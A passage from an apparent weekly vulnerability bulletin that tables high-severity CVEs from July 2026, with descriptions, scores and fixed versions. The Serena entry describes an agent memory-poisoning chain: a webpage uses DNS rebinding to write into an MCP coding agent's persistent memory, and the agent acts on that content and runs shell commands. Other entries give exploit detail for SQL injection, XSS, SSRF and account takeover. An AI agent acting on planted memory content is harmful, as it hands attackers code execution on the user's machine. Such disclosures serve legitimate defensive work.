| nodeca--js-yaml                                     | js-yaml is a JavaScript YAML parser and dumper. From 3.0.0 before 3.15.0 and from 4.0.0 before 4.3.0, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly when a chain of mappings uses merge keys where each mapping merges the previous one. This issue is fixed in versions 3.15.0 and 4.3.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-08 | 7.5        | <a href="#">CVE-2026-59869</a> |
| Nozomi Networks--Guardian                           | An Incorrect Privilege Assignment vulnerability was discovered in the synchronization functionality due to Arc sensors receiving CLI permissions. An authenticated user with limited privileges can push administrative CLI commands through the sync, altering the device configuration, and/or affecting its availability.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-09 | 8.1        | <a href="#">CVE-2026-33390</a> |
| Nozomi Networks--Guardian                           | An Open Redirect vulnerability was discovered in the SAML Single Sign-On functionality due to insufficient validation of a user-controlled redirection parameter. An unauthenticated attacker can craft a request to the SAML sign-in endpoint and poison the cached SAML redirection for other users who subsequently initiate SAML Single Sign-On, enabling phishing and credential-theft attacks, as well as disrupting SAML authentication for all affected users.                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-09 | 7.1        | <a href="#">CVE-2026-31982</a> |
| Nozomi Networks--Guardian                           | A denial-of-service vulnerability caused by unbounded resource allocation was discovered in the audit logging functionality, due to a missing size limit on input recorded into audit entries. An unauthenticated attacker can submit requests containing excessively large input that is recorded into audit entries, possibly exhausting the available disk space and rendering the system inoperable.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-09 | 7.5        | <a href="#">CVE-2026-31984</a> |
| Nozomi Networks--Remote Collector                   | When the upstream Guardian or CMC was configured in the Remote Collector via n2os-tui, the generated configuration disabled TLS certificate verification, and no option was provided to enable it. A malicious actor could perform a man-in-the-middle attack and intercept the communication between the Remote Collector and the Guardian or CMC. This could result in theft of the sync token, impersonation of the server, injection of spoofed data (such as false asset information or vulnerabilities) into the Guardian or CMC, or disruption of the data flow between the Remote Collector and the Guardian or CMC.                                                                                                                                                                                                                                                                                                                       | 2026-07-09 | 8.1        | <a href="#">CVE-2026-31985</a> |
| ntpssec--gpsd                                       | gpsd through release-3.27.5, fixed at commit 4c06658, contains a command injection vulnerability in gpsprof that allows attackers who control the GPS device subtype value to execute arbitrary shell commands by embedding backtick payloads in the gnuplot plot title without proper escaping. The subtype field sourced from a DEVICES JSON log entry or NMEA PGRMT sentence is written into a generated gnuplot program via a set title statement with only double-quote characters escaped, enabling arbitrary shell command execution as the user running gnuplot when the victim renders the generated plot through the gpsprof and gnuplot workflow.                                                                                                                                                                                                                                                                                       | 2026-07-09 | 7.8        | <a href="#">CVE-2026-58459</a> |
| OceanicSoft Informatics Systems Ltd.--ValeApp       | Improper neutralization of input during web page generation ('cross-site scripting') vulnerability in OceanicSoft Informatics Systems Ltd. ValeApp allows Stored XSS. This issue affects ValeApp: through 09072026. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-09 | 9.3        | <a href="#">CVE-2026-2342</a>  |
| Omniissa--Omniissa Workspace ONE Tunnel for Windows | Omniissa Workspace ONE Tunnel for Windows addresses a Local Privilege Escalation Vulnerability.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-08 | 7.8        | <a href="#">CVE-2026-22927</a> |



# High Vulnerabilities

| Primary Vendor -- Product        | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | Published  | CVSS Score | Source & Patch Info            |
|----------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| open-telemetry--opentelemetry-js | OpenTelemetry JavaScript is the OpenTelemetry JavaScript client. Prior to 2.9.0, @opentelemetry/propagator-jaeger decodes incoming uber-trace-id and uberctx-* HTTP header values with decodeURIComponent() without handling decode errors, allowing an unauthenticated remote attacker to send a malformed percent-encoded value that throws an uncaught URIError and terminates a Node.js process using JaegerPropagator as the active propagator. This issue is fixed in version 2.9.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-08 | 7.5        | <a href="#">CVE-2026-59892</a> |
| open-webui--open-webui           | Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. Prior to 0.10.0, backend/open_webui/routers/terminals.py built the ws_terminal upstream URL from an unencoded session_id and appended user_id as a query parameter, allowing query injection to make the terminal backend resolve another user identity; the HTTP proxy path also forwarded X-User-Id as an integrity-unbound identity claim. This issue is fixed in version 0.10.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-09 | 8          | <a href="#">CVE-2026-59224</a> |
| open-webui--open-webui           | Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. Prior to 0.10.0, Open WebUI runs client-side Python with Pyodide in a same-origin web worker, allowing stored chat payloads that use pyodide.http.pyfetch or the js module fetch and XMLHttpRequest APIs to issue authenticated same-origin requests when a victim clicks Run, which can reach admin-only endpoints and execute server-side code through configured tools. This issue is fixed in version 0.10.0.                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-09 | 7.3        | <a href="#">CVE-2026-59214</a> |
| open-webui--open-webui           | Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. Prior to 0.10.0, get_event_call delivered execute:python and execute:tool Socket.IO events to a client-supplied session_id after checking only that the session was connected, allowing authenticated users who learned another socket ID through ydoc:document:join to run code interpreter Python or tools in that user session. This issue is fixed in version 0.10.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-09 | 7.7        | <a href="#">CVE-2026-59216</a> |
| open-webui--open-webui           | Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.9.0 before 0.10.0 with Redis configured, Socket.IO connect, user-join, join-channels, join-note, and the terminal websocket first-message authentication used decode_token without the Redis-backed is_valid_token revocation check, allowing revoked JWTs to continue authenticating realtime connections. This issue is fixed in version 0.10.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-09 | 7.1        | <a href="#">CVE-2026-59219</a> |
| open-webui--open-webui           | Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.9.6 before 0.10.0, _sanitize_proxy_path in backend/open_webui/routers/terminals.py decoded proxy paths only eight times, allowing a nine-times percent-encoded ../ traversal value to pass normalization checks and be decoded by the upstream terminal server. This issue is fixed in version 0.10.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-09 | 7.7        | <a href="#">CVE-2026-59221</a> |
| OpenBSD--OpenSSH                 | ssh in OpenSSH before 10.4 can have a use-after-free when a server changes its host key during a key re-exchange. (This outcome occurs only on the client side.)                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-08 | 7.7        | <a href="#">CVE-2026-60002</a> |
| OpenClaw--OpenClaw               | OpenClaw before 2026.5.28 contains a credential exposure vulnerability where workspace dotenv files can override provider credentials. Attackers with lower-trust access to configured input paths can expose sensitive data and credentials that should remain within trusted boundaries.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-08 | 7.1        | <a href="#">CVE-2026-59261</a> |
| OpenCTI-Platform--opencti        | OpenCTI is an open source platform for managing cyber threat intelligence knowledge and observables. Prior to 7.260326.0, an authorization bypass vulnerability in OpenCTI allows any authenticated user with KNOWLEDGE_KNUPDATE permission to bypass Confidence Level validation and Object Marking restrictions by injecting the synchronized-upsert: true HTTP header, enabling attackers to downgrade confidence levels, remove security markings such as TLP:RED, manipulate relationships, and affect STIX object types including Indicators, ThreatActors, Malware, and Reports. This issue is fixed in version 7.260326.0.                                                                                                                                                                                                                                                                                                               | 2026-07-08 | 7.1        | <a href="#">CVE-2026-35210</a> |
| OpenPLC--OpenPLC                 | OpenPLC Runtime v3 contains an authenticated arbitrary file write vulnerability in the legacy web UI program-upload workflow. The application stores an attacker-supplied filename (prog_file) directly into the Programs.File database field and later uses this value as the destination path for an uploaded file without validating or restricting the path. Because Python os.path.join() honors attacker-controlled absolute paths, an authenticated user can write arbitrary files anywhere writable by the OpenPLC webserver process. In the default build pipeline, all C++ source files within the OpenPLC runtime core directory are automatically compiled into the executable runtime binary. By writing a malicious .cpp file into this directory, an authenticated attacker can escalate the arbitrary file write into arbitrary native code execution when the operator triggers a normal program compilation and runtime start. | 2026-07-10 | 9.9        | <a href="#">CVE-2026-14480</a> |

# High Vulnerabilities

| Primary Vendor -- Product         | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | Published  | CVSS Score | Source & Patch Info            |
|-----------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| openreplay--openreplay            | OpenReplay is a self-hosted session replay suite. From 1.24.0 before 1.25.0, the OpenReplay tracking SDK accepts custom event names and captured page URLs from any visitor using a public project key, stores them in ClickHouse without output encoding, and later renders them in the authenticated dashboard through TextEllipsis and the event-details modal, allowing an unauthenticated attacker to store script that executes in the dashboard origin, reads the session JWT from localStorage, and takes over a dashboard account. This issue is fixed in version 1.25.0.                                                                                                                                                       | 2026-07-10 | 9.3        | <a href="#">CVE-2026-55879</a> |
| openreplay--openreplay            | OpenReplay is a self-hosted session replay suite. In 1.27.0 and earlier, three dashboard and note mutation functions ran their SQL without the ownership predicate that their sibling read and edit functions use: notes.delete filtered only on note id and project id, while dashboards.update_widget and dashboards.remove_widget filtered only on dashboard id and widget id, allowing any authenticated member to delete another user's private session notes and remove or rewrite widgets on another user's private dashboards.                                                                                                                                                                                                   | 2026-07-10 | 7.1        | <a href="#">CVE-2026-55880</a> |
| openresty--openresty              | OpenResty is a high performance web platform. From 1.29.2.1 to before 1.29.2.5, an out-of-bounds write vulnerability exists in the upstream PROXY protocol v2 implementation. When OpenResty is configured to send PROXY protocol version 2 headers to upstream servers, constructing the header in the stream proxy protocol v2 patch can write beyond the bounds of the allocated buffer, causing the worker process to crash and resulting in a denial of service. Only configurations that explicitly enable PROXY protocol v2 for upstream connections are impacted. This issue is fixed in version 1.29.2.5.                                                                                                                       | 2026-07-10 | 7.5        | <a href="#">CVE-2026-55233</a> |
| OpenStack--Ironic                 | In OpenStack Ironic before 37.0.1, an Ironic user with the ability to deploy nodes using the IPMI management interface can maliciously use the send_raw step to send arbitrary IPMI commands to a node, bypassing Ironic's access control.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-10 | 8.2        | <a href="#">CVE-2026-54423</a> |
| openwrt--luci                     | OpenWrt luci-app-samba4 read ACL grants file.exec permission on /usr/sbin/smbd, allowing authenticated delegated users to execute the Samba daemon with caller-controlled command-line arguments. Attackers can pass arbitrary Samba global options such as message command to a root smbd process, triggering command execution when SMB protocol messages are processed.                                                                                                                                                                                                                                                                                                                                                               | 2026-07-12 | 8.8        | <a href="#">CVE-2026-59260</a> |
| openwrt--luci                     | luci-app-upnp contains a stored cross-site scripting vulnerability that allows unauthenticated LAN clients to inject JavaScript via UPnP IGD AddPortMapping SOAP requests. Attackers can send malicious HTML in the NewPortMappingDescription field, which miniupnpd stores and luci-app-upnp renders without output encoding, executing the payload when administrators view the UPnP or Status pages.                                                                                                                                                                                                                                                                                                                                  | 2026-07-12 | 8.8        | <a href="#">CVE-2026-61875</a> |
| openwrt--luci                     | LuCI versions fail to properly encode DHCPv6 lease hostnames before rendering in status tables, allowing adjacent network attackers to inject HTML markup. Attackers can send a DHCPv6 Client FQDN containing script tags that execute in the administrator's browser when viewing DHCP lease pages.                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-12 | 8.8        | <a href="#">CVE-2026-61876</a> |
| oraios--serena                    | Serena is a powerful MCP toolkit for coding that provides semantic retrieval and editing capabilities. Prior to v1.5.2, Serena's built-in web dashboard exposes an unauthenticated Flask API on a fixed, predictable port, with no authentication, no CSRF protection, and no Host header validation. A DNS rebinding attack allows a malicious webpage to reach this API from any browser and write arbitrary content to the agent's persistent memory store, which the agent reads and acts on autonomously. Combined with execute_shell_command using shell=True, this creates a remote code execution chain requiring only that the victim visit a malicious webpage while Serena is running. This issue is fixed in version v1.5.2. | 2026-07-07 | 8.3        | <a href="#">CVE-2026-49471</a> |
| owasp-modsecurity--ModSecurity    | ModSecurity is an open source, cross platform web application firewall (WAF) engine for Apache, IIS and Nginx. Prior to 3.0.16, the multipart/form-data request body parser in libmodsecurity silently removes embedded line breaks from non-file form-field values before exporting them to ARGS and ARGS_POST because src/request_body_processor/multipart.cc overwrites reserved bytes in m_reserve instead of appending the current buffer. This creates a parser differential between ModSecurity and backend applications that preserve line breaks in form fields, allowing rules that inspect ARGS or ARGS_POST to miss payloads whose dangerous syntax depends on a line break. This issue is fixed in version 3.0.16.          | 2026-07-10 | 8.6        | <a href="#">CVE-2026-52747</a> |
| owncloud--Anti-Virus for ownCloud | Anti-Virus for ownCloud is an anti-virus application for file storage, synchronization, and sharing application ownCloud. Versions of Anti-Virus for ownCloud before 1.2.3 are vulnerable to Server-Side Request Forgery (SSRF). This corresponds to versions of ownCloud 10 prior to 10.15.3. Upgrade ownCloud 10 to version 10.15.3 or later or upgrade Anti-Virus for ownCloud 10 to version 1.2.3 or later to receive a fix.                                                                                                                                                                                                                                                                                                         | 2026-07-06 | 9.1        | <a href="#">CVE-2025-53830</a> |

# High Vulnerabilities

| Primary Vendor -- Product                                                                       | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| owncloud--DrawIO for ownCloud                                                                   | DrawIO for ownCloud is an application for using DrawIO with the file storage, synchronization, and sharing application ownCloud Classic. In DrawIO for ownCloud prior to version 1.0.2, which corresponds to ownCloud 10 prior to version 10.15.3, attackers with access to the DrawIO app can leverage improper neutralization of input during web page generation to achieve stored XSS. Upgrade ownCloud 10 to version 10.15.3 or later or upgrade DrawIO for ownCloud 10 to version 1.0.2 or later to receive a patch.                                                                                                                                                                     | 2026-07-06 | 8.2        | <a href="#">CVE-2025-53831</a> |
| owncloud--ownCloud 10                                                                           | ownCloud is a file storage, synchronization, and sharing application. In ownCloud 10 prior to version 10.15.3, an attacker with administrative privileges can exploit a path traversal vulnerability in the system to execute arbitrary code. Upgrade ownCloud 10 to version 10.15.3 or later to receive a patch.                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-06 | 8          | <a href="#">CVE-2025-53829</a> |
| owncloud--ownCloud Core                                                                         | ownCloud Core is the server-side component of the file storage, synchronization, and sharing application ownCloud Classic. In versions prior to 10.15.3, the Updater on ownCloud 10 before 10.15.3 has an exposed dangerous method or function. Attackers with administrative privileges may leverage functionality to execute arbitrary code. This issue has been fixed in version 10.15.3.                                                                                                                                                                                                                                                                                                   | 2026-07-06 | 9.1        | <a href="#">CVE-2025-53827</a> |
| owncloud--SharePoint                                                                            | SharePoint for ownCloud is an application for using SharePoint with the file storage, synchronization, and sharing application ownCloud Classic. In SharePoint for ownCloud prior to version 0.4.1, which corresponds to ownCloud 10 prior to 10.15.3, an attacker with administrative privileges can use a SSRF vulnerability in the SharePoint app to execute arbitrary code on the system. Upgrade ownCloud 10 to version 10.15.3 or later to receive SharePoint for ownCloud 0.4.1, the fixed version.                                                                                                                                                                                     | 2026-07-06 | 8.5        | <a href="#">CVE-2025-53828</a> |
| PasswordPusher--PasswordPusher                                                                  | PasswordPusher before 2.8.1 accepts data URI schemes in URL push payloads due to insufficient validation in the valid_url function. Attackers can create malicious pushes containing data:text/html URIs that execute arbitrary JavaScript in victims' browsers when clicked, enabling phishing and credential theft under the trusted PasswordPusher domain.                                                                                                                                                                                                                                                                                                                                  | 2026-07-08 | 8.2        | <a href="#">CVE-2026-59802</a> |
| PAVO Financial Technology Solutions Inc.--PAVO Pay                                              | Authorization bypass through User-Controlled key vulnerability in PAVO Financial Technology Solutions Inc. PAVO Pay allows Exploitation of Trusted Identifiers. This issue affects PAVO Pay: through 09072026. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-09 | 7.5        | <a href="#">CVE-2026-1989</a>  |
| PEAKUP Technology Inc.--PassGate                                                                | Improper neutralization of special elements used in an LDAP query ('LDAP injection') vulnerability in PEAKUP Technology Inc. PassGate allows LDAP Injection. This issue affects PassGate: through 30042026.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-09 | 8.2        | <a href="#">CVE-2026-4256</a>  |
| pechenki--TelSender ontact form 7, Events, Wpforms, ninja forms and woocommerce to telegram bot | The TelSender plugin for WordPress is vulnerable to DOM-Based Cross-Site Scripting in all versions up to, and including, 1.14.14. This is due to insufficient input sanitization when processing Telegram API responses containing attacker-controlled chat titles. This makes it possible for unauthenticated attackers to inject malicious scripts via Telegram chat titles that execute when an administrator opens the TelSender settings page and clicks the "Tested" button.                                                                                                                                                                                                             | 2026-07-10 | 7.2        | <a href="#">CVE-2026-15298</a> |
| pimcore--pimcore                                                                                | Pimcore is an Open Source Data & Experience Management Platform. Prior to 2025.4.6 and 2026.1.6, an unauthenticated attacker who knows a valid admin username can take over any Pimcore admin account by sending a password reset request with an attacker-controlled resetPasswordUrl. The server generates a real cryptographic recovery token, appends it to the supplied URL, and emails the link to the victim; when the victim clicks the link, the token is sent to the attacker and can be used with POST /pimcore-studio/api/login/token to authenticate with full admin privileges while bypassing two-factor authentication. This issue is fixed in versions 2025.4.6 and 2026.1.6. | 2026-07-09 | 8.8        | <a href="#">CVE-2026-55207</a> |
| pimcore--pimcore                                                                                | Pimcore Studio Backend Bundle is the backend bundle for Pimcore Studio. Prior to 2025.4.6 and 2026.1.6, an authenticated user can extract the admin password hash and other database content through time-based blind SQL injection in the DateFilter column key parameter. The POST /pimcore-studio/api/website-settings endpoint and other listing endpoints accept a columnFilters array where the key field is interpolated directly into SQL with manual backtick wrapping, allowing a backtick character to break out of quoting and append arbitrary SQL such as SLEEP() and IF() subqueries. This issue is fixed in versions 2025.4.6 and 2026.1.6.                                    | 2026-07-09 | 7.7        | <a href="#">CVE-2026-55208</a> |
| pimcore--pimcore                                                                                | Pimcore is an Open Source Data & Experience Management Platform. Prior to 2025.4.6 and 2026.1.6, the Studio API class definition creation endpoint POST /pimcore-studio/api/class/definition/configuration-view/detail/create is guarded by the objects permission instead of the classes permission, allowing a standard editor-level user to create class definitions without admin privileges. Class definition creation generates new database tables and PHP class files on the server,                                                                                                                                                                                                   | 2026-07-09 | 7.1        | <a href="#">CVE-2026-55212</a> |

# High Vulnerabilities

| Primary Vendor -- Product                    | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | Published  | CVSS Score | Source & Patch Info            |
|----------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                              | and missing API-layer UID format validation allows malformed UIDs to reach model-layer validation and return internal exceptions. This issue is fixed in versions 2025.4.6 and 2026.1.6.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |            |            |                                |
| pipecat-ai--pipecat                          | Pipecat is an open-source Python framework for building real-time voice and multimodal conversational agents. Prior to 1.4.0, the pipecat development runner registers a /ws WebSocket endpoint for telephony testing that accepts connections without authentication, reads an attacker-supplied callSid from a Twilio stream-start handshake in src/pipecat/runner/utlis.py, and passes it to TwilioFrameSerializer so the server can issue an authenticated Twilio REST API hang-up request with the server operator's credentials; equivalent unauthenticated call-control sinks exist for Telnyx and Plivo. This issue is fixed in version 1.4.0.                                                                                      | 2026-07-09 | 7.5        | <a href="#">CVE-2026-54695</a> |
| pixelgrade--Backstage Customizer Demo Access | The Backstage - Customizer Demo Access plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.4.2. This is due to the plugin assigning the 'manage_options' capability to the 'backstage_customizer_user' demo role, which is more permissive than necessary for Customizer-only demo access. This makes it possible for unauthenticated attackers to navigate beyond the Customizer and update arbitrary WordPress options such as 'default_role', leading to privilege escalation.                                                                                                                                                                                                            | 2026-07-08 | 7.5        | <a href="#">CVE-2026-9842</a>  |
| pnpm--pnpm                                   | pnpm is a package manager. Prior to 10.34.4 and 11.8.0, pnpm accepts package names from the env lockfile configDependencies section and uses those names directly when creating config dependency symlinks under node_modules/.pnpm-config. A malicious repository can commit a crafted pnpm-lock.yaml whose env-lockfile document contains a traversal-shaped config dependency name. During pnpm install, pnpm installs the config dependency and creates a symlink at a path derived from that name. This vulnerability is fixed in 10.34.4 and 11.8.0.                                                                                                                                                                                  | 2026-07-06 | 8.2        | <a href="#">CVE-2026-59195</a> |
| pnpm--pnpm                                   | pnpm is a package manager. Prior to 10.34.4 and 11.7.0, a crafted patch entry could resolve outside the configured patches directory and cause pnpm patch-remove to delete an arbitrary reachable file. This vulnerability is fixed in 10.34.4 and 11.7.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-06 | 7.1        | <a href="#">CVE-2026-59194</a> |
| pnpm--pnpm                                   | pnpm is a package manager. Prior to 10.34.4 and 11.7.0, a crafted lockfile alias could be joined directly under a hoisted node_modules directory. Traversal aliases could escape that directory, while reserved aliases such as .bin or .pnpm could overwrite pnpm-owned layout. This vulnerability is fixed in 10.34.4 and 11.7.0.                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-06 | 7.1        | <a href="#">CVE-2026-59196</a> |
| PROG MIS--ERP App                            | ERP App developed by PROG MIS has a Use of Hard-coded Credentials vulnerability, allowing unauthenticated remote attackers to log in to view application code and obtain the database account and password.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-06 | 9.8        | <a href="#">CVE-2026-14807</a> |
| PROG MIS--Prog Management System             | Prog Management System developed by PROG MIS has a Exposure of Sensitive Information vulnerability, allowing unauthenticated remote attackers to view a specific page and obtain the database account and password.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-06 | 9.8        | <a href="#">CVE-2026-14808</a> |
| PROG MIS--Prog Management System             | Prog Management System developed by PROG MIS has a SQL Injection vulnerability, allowing unauthenticated remote attackers to inject arbitrary SQL commands to read database contents.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-06 | 7.5        | <a href="#">CVE-2026-14809</a> |
| Progress--MOVEit Transfer                    | Improper neutralization of input during web page generation ('cross-site scripting') vulnerability in Progress MOVEit Transfer (Ad Hoc module). This issue affects MOVEit Transfer: from 2026.0.0 before 2026.0.1, from 2025.1.0 before 2025.1.4, from 2025.0.0 before 2025.0.8.                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-08 | 8          | <a href="#">CVE-2026-11903</a> |
| Progress--MOVEit Transfer                    | Improper Neutralization of Special Elements in Data Query Logic vulnerability in Progress MOVEit Transfer (Custom Reports modules). This issue affects MOVEit Transfer: from 2025.0.0 before 2025.0.8, from 2025.1.0 before 2025.1.4, from 2026.0.0 before 2026.0.1.                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-08 | 7.2        | <a href="#">CVE-2026-10698</a> |
| Progress--MOVEit Transfer                    | Missing release of memory after effective lifetime vulnerability in Progress MOVEit Transfer (Custom Reports modules). This issue affects MOVEit Transfer: from 2025.0.0 before 2025.0.8, from 2025.1.0 before 2025.1.4, from 2026.0.0 before 2026.0.1.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-08 | 7.5        | <a href="#">CVE-2026-10699</a> |
| prowler-cloud--prowler                       | Prowler is a cloud security platform. Prior to 5.30.3, Prowler's SAML authentication flow trusted the email domain asserted in a SAMLResponse when deciding which tenant should receive the final token, and the ACS finish logic in api/src/backend/api/v1/views.py recalculated the tenant from user.email instead of binding token issuance to the validated SAML configuration. An authenticated attacker with a controlled SAML IdP could complete a valid SAML flow for an attacker-controlled domain while asserting an email address from another configured domain, causing a SAMLToken and tenant-scoped JWT to be issued for the wrong tenant and enabling cross-tenant account takeover. This issue is fixed in version 5.30.3. | 2026-07-10 | 9.6        | <a href="#">CVE-2026-59151</a> |



# High Vulnerabilities

| Primary Vendor -- Product  | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | Published  | CVSS Score | Source & Patch Info            |
|----------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| python-pillow--Pillow      | Pillow is a Python imaging library. Prior to 12.3.0, PIL/PcfFontFile.py _load_bitmaps() read glyph dimensions from the PCF METRICS section and passed them directly to Image.frombytes() without calling Image._decompression_bomb_check(), allowing crafted PCF font data to cause excessive memory allocation. This issue is fixed in version 12.3.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-06 | 7.5        | <a href="#">CVE-2026-54059</a> |
| python-pillow--Pillow      | Pillow is a Python imaging library. Prior to 12.3.0, PIL/FontFile.py FontFile.compile() assembled per-glyph images into a combined bitmap with Image.new("1", (xsize, ysize)) without calling Image._decompression_bomb_check(), allowing a font to trigger excessive allocation during conversion or saving. This issue is fixed in version 12.3.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-06 | 7.5        | <a href="#">CVE-2026-54060</a> |
| python-pillow--Pillow      | Pillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow's documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-06 | 7.5        | <a href="#">CVE-2026-55379</a> |
| python-pillow--Pillow      | Pillow is a Python imaging library. Prior to 12.3.0, PIL/GdImageFile.py GdImageFile._open() read image dimensions from the GD 2.x header and stored them in self._size without calling Image._decompression_bomb_check(), allowing a crafted .gd file to trigger excessive C-heap allocation when loaded. This issue is fixed in version 12.3.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-06 | 7.5        | <a href="#">CVE-2026-55380</a> |
| qax-os--excelize           | Excelize is a Go language library for reading and writing Microsoft Excel spreadsheets. Prior to 2.11.0, the checkSheet() function in <a href="https://github.com/xuri/excelize/v2">github.com/xuri/excelize/v2</a> uses an attacker-controlled <row r="N"> XML attribute value directly as the length argument to make([]xlsxRow, row) without validating it against the Excel row limit (TotalRows = 1,048,576). A specially crafted XLSX file can trigger two denial-of-service variants: (A) an out-of-memory process kill when r=2147483647 forces a ~16 GB allocation attempt, and (B) a runtime panic via out-of-bounds slice indexing when r=-1. Any service that opens attacker-supplied XLSX files and calls GetCellValue is affected. No authentication is required. This issue is fixed in version 2.11.0. | 2026-07-10 | 7.5        | <a href="#">CVE-2026-54063</a> |
| Qualcomm, Inc.--Snapdragon | Memory Corruption when processing invalid HT40 channel layouts during dynamic channel switching operations.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-06 | 8.8        | <a href="#">CVE-2026-25268</a> |
| Qualcomm, Inc.--Snapdragon | Memory Corruption when allocating memory with sizes that exceed the maximum allowed value.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-06 | 7.8        | <a href="#">CVE-2026-21379</a> |
| Qualcomm, Inc.--Snapdragon | Cryptographic Issue when using a static initialization vector for AES-GCM key wrapping, which requires a unique value for each call to ensure security.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-06 | 7.1        | <a href="#">CVE-2026-21383</a> |
| Qualcomm, Inc.--Snapdragon | Memory Corruption when processing asynchronous input parameters due to improper handling of modified values between check and use.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-06 | 7.8        | <a href="#">CVE-2026-25271</a> |
| QuantumNous--new-api       | New API is a large language model (LLM) gateway and artificial intelligence (AI) asset management system. Prior to 0.12.0-alpha.1, the default SSRF protection configuration did not apply IP filtering to hostnames; with ApplyIPFilterForDomain disabled by default, URL validation checked domain allow/block rules but did not resolve a hostname and validate the resolved IP address, allowing authenticated users to configure Webhook, Bark, or Gotify notification URLs that point at an internal or metadata IP address. This issue is fixed in version 0.12.0-alpha.1.                                                                                                                                                                                                                                      | 2026-07-09 | 7.7        | <a href="#">CVE-2026-33655</a> |
